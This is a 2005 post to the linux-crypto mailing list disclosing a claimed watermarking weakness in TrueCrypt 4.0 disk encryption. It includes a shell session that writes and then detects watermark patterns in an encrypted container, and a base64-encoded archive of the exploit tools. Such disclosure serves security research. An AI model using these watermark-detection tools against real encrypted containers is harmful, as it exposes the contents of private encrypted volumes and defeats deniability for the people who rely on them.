Thomas Sjögren wrote: > On Tue, Nov 08, 2005 at 05:58:04AM -0600, Travis H. wrote: > > The only thing close that I've seen is Bestcrypt, which is commercial > > and has a Linux and Windows port. I don't recall if the Linux port > > came with source or not. > > http://www.truecrypt.org/ > > "TrueCrypt > Free open-source disk encryption software for Windows XP/2000/2003 and Linux Unfortunately truecrypt is just another broken device crypto implementation that uses good ciphers in insecure way. Specially crafted static bit patterns are easily detectable through that kind of bad crypto. Requirements: (1) used ciphers must have 128-bit block size and (2) file system where bit patterns are stored must have 2K or larger soft block size. Many popular linux file systems meet those requirements. Uuencoded exploit source code is included in this email. # truecrypt --device-number 0 --filesystem ext2 /tmp/container1.tc /mnt Enter password for '/tmp/container1.tc': # mount | grep /mnt /dev/mapper/truecrypt0 on /mnt type ext2 (rw) # tune2fs -l /dev/mapper/truecrypt0 | grep "Block size" Block size: 4096 # ./create-watermark-encodings-truecrypt 10:44 11:55 12:66 666:77 >/mnt/foo1 # truecrypt -d /mnt # truecrypt -l truecrypt: Kernel module not loaded # ./detect-watermark-encodings-truecrypt </tmp/container1.tc 5241344 bytes scanned watermark encoding 10, count 44 watermark encoding 11, count 55 watermark encoding 12, count 66 watermark encoding 666, count 77 # uname -s -r Linux 2.6.14.2 # truecrypt --version | head -n 1 truecrypt 4.0 -- Jari Ruusu 1024R/3A220F51 5B 4B F9 BB D3 3F 52 E9 DB 1D EB E3 24 0E A9 DD begin-base64 644 watermark-exploits.tar.bz2 QlpoOTFBWSZTWeuNme8ADZ3/ssx0AEB7f///P9/fz3/v3/8AAIQACAgAGGAN nnwEqCUQqipEUqokqkVUiFSISEgAcyaaGQAMRkGQA0wQMQDRpoAMgaADmTTQ yABiMgyAGmCBiAaNNABkDQAcyaaGQAMRkGQA0wQMQDRpoAMgaADmTTQyABiM gyAGmCBiAaNNABkDQAIohBMgJpqeU009JT0ntTNSZHpPUHimR6ENBo0AZDZQ RJEEQxJ6aRmo0PVNohPFPKMaaho00BmoyabQm9UaB9YN3zD7uQ0uGhMQ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woj9IMBAJD YD9btVoEAF01YjB8RVq6CroavEG5kLoLrigXkWUeQ7/DioWxxwMZpWZmvBWT gDAIwDmCXD7iGMAohQKlqKP/xdyRThQkOuNme8A= ==== - Linux-crypto: cryptography in and on the Linux system Archive: http://mail.nl.linux.org/linux-crypto/